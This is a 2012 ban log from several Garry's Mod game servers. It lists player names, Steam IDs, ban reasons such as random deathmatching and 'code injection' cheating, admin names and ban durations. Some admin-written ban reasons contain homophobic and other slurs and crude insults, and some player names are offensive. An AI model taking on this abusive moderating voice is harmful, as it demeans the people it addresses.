Terrorist Town 0:20:40 Unbanned +10:32 am 08-04-12 Ñ?øâ?? нναâ?? STEAM_0:0:45794152 Alt of banned +ID STEAM_0:1:33939254 (Console) Official Zombified World|Lvl Cap +10 +Zombified World 1:9:51 Unbanned +7:54 am 08-04-12 Meltiac ^.- STEAM_0:0:29997496 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +7:47 am 08-04-12 [Echo] Kunzayn STEAM_0:0:19369191 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +10:11 pm 07-04-12 Evg3n1y STEAM_0:0:47553337 Killing fellow +traitors +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:12:30 Unbanned +8:23 pm 07-04-12 [TGS] (: EPIX - MANIAC!!! :) STEAM_0:1:33939254 +Deleting Base +[SP]+ Marked One [SK] Official Zombified World|Lvl +Cap +10 Zombified World 2:0:0 Unbanned +4:11 pm 07-04-12 Maâ?? Infernoâ?¢ STEAM_0:0:25821673 Get the fuck out +of here Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +3:55 pm 07-04-12 alexpuricelli STEAM_0:1:48992997 stfu stop rejoin to +remove gag +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:5 Unbanned +3:49 pm 07-04-12 Unknown STEAM_0:1:19292346 Most likely _intentional_ +traitor teamkill, ignoring admin, disconnecting. +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:30 pm 07-04-12 I Rape Waffles STEAM_0:1:26448145 Idiot +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +8:43 pm 06-04-12 Unknown STEAM_0:0:10482593 RDM then leaving +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +4:12 pm 06-04-12 Unknown STEAM_0:1:13371261 Proppushing and leaving ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 0:16:40 Unbanned +1:18 am 05-04-12 Jolly Good Chap STEAM_0:0:6790630 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:22:40 Unbanned +12:50 am 05-04-12 Marcus's Question STEAM_0:0:23383514 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +12:45 am 05-04-12 â?¦â?¦â?? Ë?¨Ë?â??°ºâ?¢ LULL +STEAM_0:0:19408225 RDM +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +11:09 pm 04-04-12 [LP]Señor Hitler NEIN! STEAM_0:1:37836792 troll +Wigbig Killa's Zombie Survival Server Zombie Survival 0:10:0 Unbanned +6:52 pm 04-04-12 black majak STEAM_0:0:39961491 Troll +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +6:52 pm 04-04-12 Duckter STEAM_0:1:14596568 Troll +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +5:51 pm 04-04-12 Ellioto STEAM_0:0:44260338 Teamkilling traitor ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Puzzle 2:0:0 Unbanned +3:19 pm 04-04-12 =HP= EFG fluffy bunn...lemur STEAM_0:0:18351818 Yea +yea, bans bans Aion Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +3:00 pm 04-04-12 Asuwbaqnbs STEAM_0:0:33702351 Faction exploiting and +be generally retarded. Llixo Official Zombified World|Lvl Cap +10 +Zombified World 3:11:20 Unbanned +12:31 pm 04-04-12 Unknown STEAM_0:0:10731724 MASS rdm, karma full of +shit and then left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 68:14:0 Unbanned +12:21 pm 04-04-12 Unknown STEAM_0:1:31370258 karma, rdm, tryed to +advoid karma loss and tryed to advoied slay oh and you left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:20 pm 04-04-12 Unknown STEAM_0:0:32709046 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:14 am 04-04-12 Unknown STEAM_0:0:17190605 saw that MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +10:05 pm 03-04-12 Unknown STEAM_0:1:47373450 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:52 pm 03-04-12 deine mutter# STEAM_0:0:28833133 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:23 pm 03-04-12 Unknown STEAM_0:0:20649509 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:48 pm 03-04-12 Leonard STEAM_0:0:47240027 Bye Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:34 pm 03-04-12 [STG] Lambent Cookie STEAM_0:1:47724049 then go here +and report it http : +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Deathrun 0:0:10 Unbanned +3:46 pm 03-04-12 KILLER(rus) STEAM_0:0:44807986 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +2:45 pm 03-04-12 max13madify STEAM_0:0:45615489 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +11:09 pm 02-04-12 cosmic whale man STEAM_0:0:27509855 Not welcome +here Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +10:58 pm 02-04-12 (777th) Rook's STEAM_0:0:29253421 Cheating +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:54 pm 02-04-12 Unknown STEAM_0:1:28550945 Rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:5:20 Unbanned +8:14 pm 02-04-12 Phygar STEAM_0:0:17546475 RDM Room claiming. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:04 pm 02-04-12 Raptor Jesus|A| [$] STEAM_0:0:32716219 RDM and +random KOS Aion Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 10:0:0 Unbanned +2:50 am 02-04-12 Azzerrrr STEAM_0:1:44706585 asshole penis brain MAD +MANN Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +1:00 am 02-04-12 TOUCH MY TALALA STEAM_0:1:26448145 asshole MAD +MANN Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +10:47 pm 01-04-12 Unknown STEAM_0:0:35418753 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:35 pm 01-04-12 Unknown STEAM_0:1:26634120 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:45 pm 01-04-12 murg7 STEAM_0:0:48411298 Destroying props Llixo +Official Zombified World|Lvl Cap +10 Zombified World 1:9:20 Unbanned +8:24 pm 01-04-12 Doc P STEAM_0:0:10132273 nice DNA MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:20 pm 01-04-12 bccn STEAM_0:1:37594258 take the cock out of your +ass MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:12 pm 01-04-12 left4dead007marat STEAM_0:0:46815984 MASS TEAMKILL ++[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +4:11 pm 01-04-12 ¶--h4xx0r--§ STEAM_0:1:36728992 MASS RDM +[SP]+ +EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:08 pm 01-04-12 al_chelmodeev STEAM_0:1:16804959 killing a player +without a legit reason +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:1:0 Unbanned +3:31 pm 01-04-12 Ultiamtus STEAM_0:0:34785696 Underwater Baseing ++[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified World +2:18:40 Unbanned +2:27 pm 01-04-12 Unknown STEAM_0:1:37894238 Asshole,Disrespecting +Admin/Players +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 4:20:40 Unbanned +2:50 am 01-04-12 sindretorvund STEAM_0:0:50485303 your taste of music +is shit like the quality Cinder Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:12 am 01-04-12 Unknown STEAM_0:1:43355655 RDM AND LEAVING F U +JoE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 +Unbanned +11:47 pm 31-03-12 RedFoo STEAM_0:1:13983941 Mass RDM with +elevator Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +10:0:0 Unbanned +10:47 pm 31-03-12 ;__; STEAM_0:1:26630341 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:23 pm 31-03-12 à¹?Û£Û? Ä?Å?Ä?Ä?Î? STEAM_0:0:2336176 Change your +name +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:1 Unbanned +9:22 pm 31-03-12 çũмÆ?ΪÐ?Ð?ŦÐ? STEAM_0:0:37988194 Change your +name +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:1 Unbanned +7:36 pm 31-03-12 +[SP]+ Apoc STEAM_0:1:5212754 Basing off world on a +few occasions Console Official Zombified World|Lvl Cap +10 Zombified +World 0:0:0 Unbanned +6:37 pm 31-03-12 Unknown STEAM_0:0:41668933 exploiting, base deletion +and moving base to kill others Chris Brown Official Zombified +World|Lvl Cap +10 Zombified World 13:21:20 Unbanned +6:34 pm 31-03-12 EHOT STEAM_0:0:24831248 Moved base on an admin +Chris Brown Official Zombified World|Lvl Cap +10 Zombified World +13:21:20 Unbanned +6:18 pm 31-03-12 Arran123 STEAM_0:1:8597827 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:08 pm 31-03-12 VinceD STEAM_0:0:48314940 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:57 pm 31-03-12 Doc P STEAM_0:0:10132273 rdm all day? fuck off then +asshole +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +1:39 pm 31-03-12 Jallu STEAM_0:0:20163757 stop +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +1:00 pm 31-03-12 Unknown STEAM_0:1:26142529 rdm then left + mic spam ++ troll + reported in + karm +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 34:17:20 Unbanned +12:59 pm 31-03-12 Unknown STEAM_0:1:26219141 rdm then left +mic spam ++ troll + reorted in +karma +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 34:17:20 Unbanned +12:57 pm 31-03-12 Unknown STEAM_0:0:36548609 +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +12:55 pm 31-03-12 Unknown STEAM_0:0:36548609 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:01 am 31-03-12 ben STEAM_0:0:43915288 karma was way too low and +tryed to get it up again by rejoining +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +10:53 am 31-03-12 Forsaken STEAM_0:0:21704689 prop pushing and +killing +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:2:0 Unbanned +12:39 am 31-03-12 Vajai STEAM_0:1:29512933 RDM, ignoring. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +11:36 pm 30-03-12 PIGWARRIOR STEAM_0:1:21120221 Mass RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +10:17 pm 30-03-12 Unknown STEAM_0:1:26881598 Mass RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +8:51 pm 30-03-12 BrickWiggles STEAM_0:0:34856761 I warned you, now +you are banned Aion Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +1:37 pm 30-03-12 Unknown STEAM_0:0:36143279 mass rdm karma spam troll +cock reported in! +[SP]+ Hatcake Fretta|Tigergruppe Kommand Puzzle +55:13:20 Unbanned +1:19 am 30-03-12 Idkrickey STEAM_0:1:49609025 speedhack Wigbig +Killa's Zombie Survival Server Zombie Survival 694:10:39 Banned +12:23 am 30-03-12 JayHawk STEAM_0:1:25591473 Alt of banned ID +STEAM_0:1:40131982 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +8:54 pm 29-03-12 Nate River STEAM_0:1:31628128 RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +8:08 pm 29-03-12 Fire STEAM_0:0:19368954 you were told not to plant +C4 on pipes +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +5:16 pm 29-03-12 Unknown STEAM_0:0:12529314 Base Deletion +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +3:3:0 Unbanned +7:45 pm 28-03-12 Elly.poos STEAM_0:1:47248552 baby poo Boss MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +6:23 pm 28-03-12 Unknown STEAM_0:0:32148856 Cheat: pb (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:21 pm 28-03-12 Unknown STEAM_0:1:31668419 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:21 pm 28-03-12 Unknown STEAM_0:0:30709335 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:20 pm 28-03-12 Unknown STEAM_0:0:43372066 Cheat: lix (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:18 pm 28-03-12 Unknown STEAM_0:1:40265724 Cheat: Code Injection +(Overwritten sqllite) (Console) Fretta|Tigergruppe Kommand Deathrun +Permanent Banned +6:17 pm 28-03-12 Unknown STEAM_0:1:38725115 Cheat: Code Injection +(Overwritten sqllite) (Console) Fretta|Tigergruppe Kommand Deathrun +Permanent Banned +6:17 pm 28-03-12 Unknown STEAM_0:1:35738339 Cheat: +gbot,eradicate,gbot3 (Console) Fretta|Tigergruppe Kommand Deathrun +Permanent Banned +6:16 pm 28-03-12 Unknown STEAM_0:0:43680205 Cheat: gbot (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:50032155 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:20409589 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:29374611 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:38654884 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:45159127 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:26052782 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:28545861 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:34051928 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:27014861 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:34483728 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:43940964 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:47444339 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:37991340 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:43891704 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:30499160 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:40131982 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:39036191 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:50012443 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:31955945 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:30569150 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:37950845 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:39157486 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:38704795 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:1:37984975 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +6:15 pm 28-03-12 Unknown STEAM_0:0:33575136 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +5:53 pm 28-03-12 hobo Bob STEAM_0:1:5081310 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:11:40 Unbanned +5:08 pm 28-03-12 Unknown STEAM_0:0:29788551 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:16:40 Unbanned +9:00 pm 27-03-12 hunter91 STEAM_0:0:46955490 fag MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +4:18 pm 27-03-12 piha STEAM_0:0:41668933 Propkilling, stealing weps ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 3:3:0 Unbanned +8:17 pm 26-03-12 karl.teigen STEAM_0:1:26415857 fag MAD MANN +Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +8:02 pm 26-03-12 LuLz. war_crazy STEAM_0:0:34555272 fuck off MAD +MANN Fretta|Tigergruppe Kommand Puzzle 1:0:0 Unbanned +7:00 pm 26-03-12 Unknown STEAM_0:1:29412872 rdming then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:58 pm 26-03-12 СÐ?ШÐ?Ð? STEAM_0:1:31088207 useing the same name, +shit name, always rdming, karma, not the first time +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +6:56 pm 26-03-12 Ð?Ñ?жок--Ð?иÑ?ожок STEAM_0:1:20011029 shit +name, always rdming, useing the same names and karma not the first +time +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +5:47 pm 26-03-12 guy martin STEAM_0:0:42642787 Alt of banned ID +STEAM_0:0:35205289 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +5:44 pm 26-03-12 Acekiler STEAM_0:1:5995435 rdming and karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:31 pm 26-03-12 <> STEAM_0:0:15558410 team killing, rdm, karma and +time wasting cock! +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 4:20:40 Unbanned +7:30 pm 25-03-12 PUDDI PUDDI STEAM_0:0:21251506 Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 13:21:20 Unbanned +6:18 pm 25-03-12 Camper STEAM_0:0:30697563 killing for guns +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:11 pm 25-03-12 admiral hackbarr STEAM_0:1:29850323 <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:8:20 Unbanned +4:08 pm 25-03-12 Gros_russe STEAM_0:0:42193429 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:8:20 Unbanned +4:03 pm 25-03-12 Buxo STEAM_0:1:47108703 rdm <[FoT]> .ExEcute +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +3:57 am 25-03-12 Unknown STEAM_0:0:24255629 extended because you +showed me how much the people who were reporting were right +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Zombie Onslaught 6:22:40 Unbanned +3:21 am 25-03-12 Unknown STEAM_0:0:24255629 reposts and is an +asshole Drake Fretta|Tigergruppe Kommand Prop Hunt 2:18:40 Unbanned +3:19 am 25-03-12 Unknown STEAM_0:1:29205246 rdm then left as the D +Drake Fretta|Tigergruppe Kommand Prop Hunt 2:0:0 Unbanned +3:18 am 25-03-12 Gluzz STEAM_0:1:27454569 Alt of banned ID +STEAM_0:1:38081674 (Console) Fretta|Tigergruppe Kommand Prop Hunt +2:18:39 Unbanned +3:17 am 25-03-12 Paxx'rn STEAM_0:1:38081674 mass rdm Drake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +10:14 pm 24-03-12 Annoying Orange STEAM_0:1:27991309 base out of +map MAD MANN Official Zombified World|Lvl Cap +10 Zombified World +3:11:20 Unbanned +9:51 pm 24-03-12 EvilBoy STEAM_0:0:14248869 Alt of banned ID +STEAM_0:1:29826193 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +8:31 pm 24-03-12 I am Noob :3 STEAM_0:0:46227338 rdming as the D and +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +7:38 pm 24-03-12 BeQuick STEAM_0:0:29130894 Alt of banned ID +STEAM_0:0:50054929 (Console) Fretta|Tigergruppe Kommand Deathrun +1:23:32 Unbanned +7:32 pm 24-03-12 D4r10 STEAM_0:0:24645008 RDM constantly. Fuck off. +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +7:10 pm 24-03-12 williamhilding2 STEAM_0:0:50054929 RDM x2 Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +2:48 pm 24-03-12 Unknown STEAM_0:0:41228426 rdm,micspam,karma and +left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 20:20:0 Unbanned +1:07 pm 24-03-12 Kaboom STEAM_0:1:34334767 rdming team +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:48 am 24-03-12 {Bronies}Derpy Hooves STEAM_0:1:32539907 RDM ++[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:2:0 Unbanned +12:47 am 24-03-12 {Bronies} Spit fire STEAM_0:1:23470816 RDM +[SP]+ +JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +11:29 pm 23-03-12 Unknown STEAM_0:0:41695981 rdming as the D +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +10:34 pm 23-03-12 Vanlorg STEAM_0:0:36548609 Constant RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 Unbanned +9:36 pm 23-03-12 /±ESG±\ Deathwing [FA] STEAM_0:0:39163751 The +rules don't apply to me, because it's funny!! (Console) Official +Zombified World|Lvl Cap +10 Zombified World 0:0:0 Unbanned +6:48 pm 23-03-12 Vanlorg STEAM_0:0:36548609 Detective rdm +Spellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:2:0 Unbanned +1:07 am 23-03-12 JuGgErNaUgHt STEAM_0:0:15972675 fuck off asswipe +MANN Fretta|Tigergruppe Kommand Puzzle 2:2:0 Unbanned +10:38 pm 22-03-12 Jynx {MLK} STEAM_0:1:47614066 Racism and Ban +Request. Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:0:0 Unbanned +7:39 pm 22-03-12 hrdwarhax STEAM_0:1:31577842 rdming +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:59 pm 22-03-12 {Brony} Derks STEAM_0:0:10714286 rdm for a gun...see +you in 60 min ' s +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:1:0 Unbanned +5:27 pm 22-03-12 Unknown STEAM_0:0:45715426 rdming then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:30 pm 22-03-12 Col ping ping ==)= -- STEAM_0:1:7274576 your karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +3:09 pm 22-03-12 Unknown STEAM_0:1:32830571 RDM Detective. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +12:44 am 22-03-12 Unknown STEAM_0:0:46099673 RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +8:58 pm 21-03-12 -GS- Vshiva â?­ STEAM_0:1:15571894 -GS- Vshiva â?­: +il be disturbng until il get banned Chump Official Zombified World|Lvl +Cap +10 Zombified World Permanent Banned +4:36 pm 21-03-12 {Pk} SaiBhoeBTLeo STEAM_0:1:34685737 prop killing ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:23 pm 21-03-12 Unknown STEAM_0:0:35757412 mass rdm and left after +being warned +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 6:22:40 Unbanned +11:46 pm 20-03-12 Epic STEAM_0:0:4856909 Prop Pushing +[SP]+ Anime +Official Zombified World|Lvl Cap +10 Zombified World 0:10:0 Unbanned +9:46 pm 20-03-12 Cammyd53 STEAM_0:1:39399082 Mass RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +5:41 pm 20-03-12 Unknown STEAM_0:1:32211657 rdm then left also you +are a cunt : ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:11:20 Unbanned +9:11 pm 19-03-12 Naruto Generations STEAM_0:0:39438770 annoying other +people doing the puzzles +[SP]+ JoE CrAcKeR Fretta|Tigergruppe +Kommand Puzzle 0:0:30 Unbanned +8:11 pm 19-03-12 -{AbG}-Facepalm[â??][LF] STEAM_0:1:32830571 your +karma has been shit all day +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:16:40 Unbanned +6:47 pm 19-03-12 Unknown STEAM_0:0:23596787 Prop Killing Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +6:13 pm 19-03-12 DinoDors STEAM_0:1:24734830 Dickwad Aion +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +5:15 pm 19-03-12 Unknown STEAM_0:1:19687609 rdming fellow T ' s and +karma oh and karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 6:22:40 Unbanned +5:02 pm 19-03-12 Unknown STEAM_0:1:7274576 rdming then left karma +too +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:18:40 Unbanned +3:13 pm 19-03-12 Preak STEAM_0:0:30792513 Prop pushing +[SP]+ +Gearyâ?¢ Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 +Unbanned +1:08 am 19-03-12 +[SP]+ Ranana (Randy) STEAM_0:0:25596355 Alt of +banned ID STEAM_0:1:25594796 (Console) Fretta|Tigergruppe Kommand +Rebels vs. Combine 0:0:41 Unbanned +12:50 am 19-03-12 Robert STEAM_0:1:25594796 troll MAD MANN 